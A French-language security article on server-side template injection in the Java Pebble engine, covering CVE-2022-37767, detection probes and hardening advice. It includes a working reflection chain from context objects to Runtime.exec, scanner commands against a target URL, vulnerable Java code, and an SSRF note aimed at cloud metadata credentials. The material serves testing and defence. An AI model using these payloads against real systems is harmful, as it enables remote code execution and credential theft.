SSTI Pebble (CWE-1336) dans Java : chaînes getClass().getClassLoader() pour instancier des classes arbitraires et atteindre le RCE.
TL;DR
{{ 7*7 }} → 49 ; polyglotte Korchagin → io.pebbletemplates.pebble.error.ParserExceptionobjet.getClass().getClassLoader().loadClass("java.lang.Runtime") via objets du contextegetClass() (CVSS 9.8)?new() — nécessite la traversée d'objets du contextePebble est un moteur de templates Java moderne inspiré de Twig, utilisé dans Spring Boot, Micronaut et Vert.x comme alternative à Freemarker et Thymeleaf. Il utilise {{ }} pour les expressions et {% %} pour les structures de contrôle, similairement à Jinja2 et Twig. La SSTI dans Pebble se produit quand une entrée contrôlée par l'utilisateur est évaluée via PebbleEngine.getLiteralTemplate(userInput) ou un StringLoader, plutôt que chargée depuis un template précompilé du système de fichiers.
Contrairement à Freemarker, Pebble n'a pas d'équivalent ?new() pour l'instanciation directe de classes. La chaîne d'exploitation requiert un objet Java accessible dans le PebbleContext et traverse getClass().getClassLoader().loadClass() pour atteindre le runtime JVM. CVE-2022-37767 (CVSS 9.8) a confirmé que ce chemin d'exploitation était viable dans les versions Pebble antérieures à 3.1.5.
OWASP A03:2021 et CWE-1336 s'appliquent. La SSTI Pebble est moins documentée dans les ressources publiques que Jinja2 ou Twig SSTI, mais l'impact d'exploitation est identique — exécution de code arbitraire basée JVM avec les privilèges du serveur applicatif.
Le pattern Java vulnérable :
// VULNÉRABLE — l'entrée utilisateur est la SOURCE du template
PebbleEngine engine = new PebbleEngine.Builder().build();
Writer writer = new StringWriter();
String userTemplate = request.getParameter("template");
PebbleTemplate template = engine.getLiteralTemplate(userTemplate);
Map<String, Object> context = new HashMap<>();
context.put("request", request); // Objet HTTP dans contexte = exploitable!
template.evaluate(writer, context);Chaîne RCE Pebble :
// Traversée via objet de requête dans le contexte
{{ request.getClass().forName("java.lang.Runtime")
.getMethod("exec", request.getClass().forName("java.lang.String"))
.invoke(
request.getClass().forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null),
"id"
)
}}| Variante | Payload | Condition | Impact |
|---|---|---|---|
| Détection | {{ 7*7 }} | Tout Pebble | Confirme → 49 |
| Fingerprint moteur | {{ 'test'.toUpperCase() }} | Pebble | TEST (méthode Java String) |
| Sonde Korchagin | ${{<%[%'"}}%\ | Tout | io.pebbletemplates.pebble.error.ParserException |
| Traversée objet | {{ request.getClass() }} | request dans contexte | Confirme accès objet Java |
| RCE getClass() | Chaîne complète forName + invoke | Tout objet Java dans contexte | RCE JVM |
| SSRF | Chaîne avec instanciation java.net.URL | Accès objet Java | Requête HTTP interne |
// Pebble < 3.1.5 — méthode getClass() accessible sur tous les objets du contexte
{{ objet.getClass().getClassLoader()
.loadClass("java.lang.Runtime")
.getMethod("exec", string_class)
.invoke(runtime_instance, "id") }}Pebble 3.1.5 a ajouté le blocage explicite de l'accès à la méthode getClass() dans l'évaluateur de template. La mise à jour vers 3.1.5+ élimine ce vecteur d'attaque.
CVE-2022-37767 — Pebble Template Engine (CVSS 9.8)
Un chercheur en sécurité a démontré que Pebble Template Engine avant 3.1.5 permettait l'évasion de sandbox via la réflexion Java depuis les objets du contexte. La méthode getClass() était accessible sur tout objet passé dans le PebbleContext, fournissant un chemin vers Class.forName() et finalement Runtime.exec(). Corrigé dans la version 3.1.5 avec des restrictions explicites du résolveur d'attributs. CVSS 9.8 reflète l'impact critique du RCE non authentifié.
Générateur de rapports Spring Boot — Pattern SSTI Pebble courant
Un pattern récurrent dans les microservices Spring Boot : un service de génération de rapports accepte une chaîne de template personnalisée depuis les clients pour personnaliser le format de sortie. Le template est évalué via PebbleEngine.getLiteralTemplate(clientTemplate) avec un contexte contenant le bean applicationContext ou HttpServletRequest. Un attaquant soumet un payload de chaîne getClass() et atteint le RCE en tant que service Spring.
Support Pebble dans tplmap2
Le fork communautaire tplmap2 (Hackmanit) a ajouté le support du moteur Pebble spécifiquement parce que l'adoption de Pebble dans les microservices Spring Boot a augmenté sa surface d'attaque. Les payloads RCE Pebble dans tplmap2 utilisent la chaîne forName plutôt que la chaîne loadClass de CVE-2022-37767, fournissant l'exploitation sur les cibles pré et post-3.1.5 quand les objets du contexte fournissent une surface de réflexion suffisante.
La SSTI Pebble est moins documentée que Jinja2 ou Freemarker SSTI car Pebble est un moteur plus récent (première version 2013, adoption 2019+). Les chaînes d'exploitation publiées sont disponibles dans SSTImap v1.3.0 et tplmap2, mais les templates Nuclei spécifiques à Pebble sont limités. La confirmation manuelle via {{ 7*7 }} et le polyglotte Korchagin est recommandée quand les outils automatisés ne détectent pas Pebble spécifiquement.
{{ 7*7 }} — 49 confirme un moteur {{ }}.{{ ''.__class__ }} — Jinja2 retourne la classe ; Pebble lance une erreur. Différencie Pebble de Jinja2.{{ "bonjour".toUpperCase() }} — Pebble évalue les méthodes Java de String ; Jinja2 n'a pas toUpperCase(). BONJOUR confirme Pebble.${{<%[%'"}}%\ — Pebble retourne io.pebbletemplates.pebble.error.ParserException.{{ request }} — si une représentation d'objet HttpServletRequest apparaît, le contexte expose l'objet request, rendant la chaîne getClass() immédiatement exploitable.# SSTImap — moteur Pebble (v1.3.0+)
sstimap -u "http://cible.com/rendu?template=*" --engine Pebble
# tplmap2 — fork communautaire avec support Pebble
tplmap2.py -u "http://cible.com/rendu?template=*" --engine pebble// VULNÉRABLE — l'entrée utilisateur est source du template
PebbleEngine engine = new PebbleEngine.Builder().build();
PebbleTemplate template = engine.getLiteralTemplate(userInput); // SSTI
template.evaluate(writer, context);
// SÉCURISÉ — loader filesystem
PebbleEngine engine = new PebbleEngine.Builder()
.loader(new FileLoader())
.build();
PebbleTemplate template = engine.getTemplate("salutation.pebble");
Map<String, Object> context = new HashMap<>();
context.put("nomAffichage", entreeAssainie); // entrée comme variable uniquement
template.evaluate(writer, context);// DANGEREUX — exposer des objets Java riches (fournissent des points d'entrée getClass())
Map<String, Object> context = new HashMap<>();
context.put("request", httpServletRequest); // HttpServletRequest dans contexte
context.put("applicationContext", appContext); // Contexte Spring dans contexte
// SÉCURISÉ — exposer seulement des valeurs de type primitif
Map<String, Object> context = new HashMap<>();
context.put("nomAffichage", user.getDisplayName()); // String uniquement
context.put("nombreCommandes", order.getCount()); // Integer uniquement
// Ne jamais exposer requête HTTP, contexte Spring ou beans de service@Configuration
public class PebbleConfig {
@Bean
public PebbleEngine pebbleEngine() {
return new PebbleEngine.Builder()
.loader(new ClasspathLoader()) // charge depuis classpath /templates/
.strictVariables(true) // erreur sur variables indéfinies
.build();
// getLiteralTemplate() n'est jamais appelé avec des entrées utilisateur
}
}La SSTI Pebble se produit quand une entrée contrôlée par l'utilisateur est rendue comme chaîne de template Pebble via PebbleEngine.getLiteralTemplate() ou un StringLoader. Le langage d'expression de Pebble accède aux méthodes des objets Java, permettant des chaînes getClass().getClassLoader().loadClass() qui instancient Runtime ou ProcessBuilder pour l'exécution de code à distance.
Les templates Pebble peuvent appeler des méthodes d'objets Java via la notation par points. Si un objet Java est accessible dans le contexte du template, un attaquant peut traverser : objet.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethod('exec', String.class).invoke(Runtime.getRuntime(), 'id'). La chaîne spécifique dépend des objets Java disponibles dans le PebbleContext.
CVE-2022-37767 : Pebble Template Engine < 3.1.5 — évasion de sandbox via chaîne getClass() (CVSS 9.8). Ce CVE a confirmé que le sandbox de Pebble était contournable via la réflexion de méthodes sur les objets du contexte. Le correctif dans 3.1.5 a ajouté des restrictions sur l'accès à getClass().
Pebble est un moteur de templates Java moderne utilisé dans Spring Boot, Micronaut, Vert.x et d'autres frameworks JVM comme alternative à Freemarker et Thymeleaf. Il est de plus en plus courant dans les architectures microservices. Sa surface d'attaque SSTI est moins documentée que Freemarker ou Velocity mais l'impact d'exploitation est identique — RCE basé JVM.
Freemarker a le builtin ?new() qui instancie directement les classes par nom — un chemin RCE plus simple. Pebble manque de ?new() mais permet des appels de méthodes sur les objets du contexte. L'attaquant doit trouver un objet d'entrée approprié dans le PebbleContext et traverser getClass().getClassLoader() depuis celui-ci. Pebble utilise aussi la syntaxe {{ }} comme Jinja2/Twig.
Soumettre {{ 7*7 }} — 49 confirme un moteur {{ }}. Le polyglotte Korchagin retourne io.pebbletemplates.pebble.error.ParserException pour Pebble spécifiquement. Soumettre {{ ''.__class__ }} pour différencier : Jinja2 retourne la classe ; Pebble lance une erreur. Soumettre {{ 'test'.toUpperCase() }} — Pebble évalue les méthodes Java de String ; Jinja2 n'a pas toUpperCase().
PebbleContext contient les variables et objets exposés au template. Si le contexte inclut un objet Java avec des méthodes getClass() et classloader accessibles, la chaîne getClass() devient exploitable. Un contexte exposant seulement des valeurs primitives (chaînes, nombres) est plus difficile à exploiter. Un contexte exposant des objets de requête HTTP, le contexte Spring ou des beans de service est immédiatement exploitable.
Pebble a un sandbox basé sur des extensions qui peut restreindre les méthodes et attributs accessibles. CVE-2022-37767 a démontré que le sandbox pré-3.1.5 était contournable via la traversée getClass(). Pebble 3.1.5+ restreint l'accès à getClass(). Une PebbleExtension personnalisée peut ajouter des restrictions supplémentaires.
Ne jamais passer des entrées utilisateur à PebbleEngine.getLiteralTemplate() ou à un StringLoader. Utiliser PebbleEngine.getTemplate('safe.pebble') depuis le système de fichiers. Limiter PebbleContext aux seules variables minimales requises. Mettre à jour vers Pebble 3.1.5+ qui restreint les chaînes getClass(). Ne pas exposer d'objets de requête HTTP ou de beans Spring directement dans le contexte de template.
Oui. Via la chaîne getClass(), un attaquant peut instancier java.net.URL et appeler openStream() pour faire des requêtes HTTP vers des endpoints internes. Dans les environnements cloud, cela permet l'accès à l'IMDS (169.254.169.254) pour le vol de credentials.
Une AbstractExtension personnalisée implémentant getAttributeResolver() peut bloquer l'accès à getClass(), getClassLoader() et forName() au niveau de l'évaluation du template. Pebble 3.1.5+ applique cette restriction en interne. Pour les versions pré-3.1.5, une extension de sécurité personnalisée fournit une protection équivalente.